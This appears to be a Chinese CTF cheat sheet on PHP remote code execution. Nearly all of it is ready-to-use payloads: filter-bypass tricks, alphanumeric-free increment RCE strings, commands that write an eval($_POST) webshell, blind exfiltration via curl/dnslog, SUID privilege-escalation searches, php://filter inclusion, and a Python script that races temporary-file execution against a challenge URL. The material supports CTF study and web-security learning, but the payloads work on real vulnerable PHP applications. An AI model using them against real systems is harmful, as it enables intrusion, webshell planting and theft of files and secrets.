Rce大总结

1
2
3
4
5
var_dump +file读文件 var_dump换成print_r也行
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

命令大全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
paste 它被用来将文件按列以tab作为分隔符拼接在一起随后输出到标准输出(standard output)。
grep f /flag 输出f所在行的内容
cut -c 1-50 /flag 截取1-50位进行输出
strings 查看文件文本形式
type flag
rev
[^b] 代表不是b的其他字符
php -r 可执行命令
如 php -r 'system(hex2bin(ff3b746163202f666c61672e747874));'
这里加ff是为了让他不识别为数字,加载为16进制转为字符串
grep -rl “搜索内容” /路径
du -a / 查看根目录和子目录

自增RCE
$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);
//传参是 %ff=system&_=cat /f1agaaa

过滤空格

空格被过滤可以利用

1
2
3
4
5
6
7
%0a 换行
%09 (需要php环境)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

无回显

判断无回显首先要看输入命令有没有输出反应,或者可以sleep一下看看能否执行,能执行但没输出是无回显

利用复制,移动,查找等命令

1
2
3
4
5
6
copy flag 1.txt
mv flag 1.txt
cat flag > 1.txt
tar zcvf flag.tar.gz flag
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval($_POST['suifeng']); ?>" > webshell.php

利用curl等

curl lsdnslog

wegt ….

ping….

代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。该种无回显我们用分隔符进行分割即可绕过

通配符

1
2
3
4
5
6
7
8
9
10
11
12
在Linux中,通配符是用来匹配文件名或路径的特殊字符。它们可以用于命令行中的文件搜索、文件操作和正则表达式等场景中。

以下是常用的通配符:

*:匹配任意字符(包括空字符)的任意数量。
?:匹配单个任意字符。
[]:匹配方括号内的任意一个字符。
[!][^]:匹配不在方括号内的任意一个字符。 [a-f]匹配a-f任意字符
{}:用于指定多个选择项,以逗号分隔。
~:表示当前用户的主目录。
[^b] 代表不是b的其他字符
举例来说,如果你想匹配所有以 .txt 结尾的文件,可以使用通配符 *.txt;如果你想匹配以 a 开头的三个字符的文件,可以使用通配符 a??。

无参rce

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

提权三件套

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

自增RCE

1
2
3
4
c=$__=(_/_._){_};$__++;$_=$__.$__++;$__++;$__++;$_=_.$_.++$__.++$__;($$_{_})($$_{__});&_=system&__=whoami

记得URL加密
c=%24%5f%5f%3d%28%5f%2f%5f%2e%5f%29%7b%5f%7d%3b%24%5f%5f%2b%2b%3b%24%5f%3d%24%5f%5f%2e%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%3d%5f%2e%24%5f%2e%2b%2b%24%5f%5f%2e%2b%2b%24%5f%5f%3b%28%24%24%5f%7b%5f%7d%29%28%24%24%5f%7b%5f%5f%7d%29%3b&_=system&__=whoami

CTF之PHP命令执行

二、PHP系统命令执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.system('ls');

2.echo `ls`;

3.passthru("whoami");

4.echo exec("whoami");

5.echo shell_exec("whoami");//同反引号

6.popen();//popen('echo "test" > m.txt','r');//该函数返回文件指针,也就是说该函数无回显,可以用于盲注或写马或写文件读文件或dnslog带外

7.proc_open();

8.pcntl_exec();

三、PHP列出目录下的文件

1
2
3
1.print_r(scandir(current(localeconv()))); //print_r可替换成:var_dump;var_export;且scandir容易没权限。
2.print_r(glob("/*")); 这里的glob和scandir函数同理,但是无关权限。
3.$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString())." ";}

四、PHP查看文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1.show_source("flag.php")
2.highlight_file("flag.php")
3.highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
4.include("flag.php")
5.require("flag.php")
6.require_once("flag.php")
7.readfile("flag.php");
9.try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh= null;}catch(PDOException $e){echo $e->getMessage();}die();
10.echo file_get_contents("flag.php");
11.var_dump(file('flag.php'));//file — 把整个文件读入一个数组中
12.print_r(file('flag.php'));
13.通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");echo fpassthru($a);
14.非正常读取直接看:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

五、绕过关键字过滤之字符串转义

1
2
3
1."\x73\x79\x73\x74\x65\x6d"("ls");//这里必须是双引号
2.8进制
3.Unicode方式

六、绕过关键字之点连接字符串

1
2
3
4
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");

七、PHP命令执行(eval)做题其他解法

1
2
3
4
5
6
7
8
9
10
11
12
13
1.配合文件包含示例:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php(可进行替换)
2.利用session
?c=session_start();system(session_id()); 并且 Cookie: PHPSESSID=ls 读取文件的话需要利用其他姿势了,我实验不行,说有无效参数。。。
3.通过post上传临时文件并且执行。原理:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
脚本:
import requests
while True:
url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break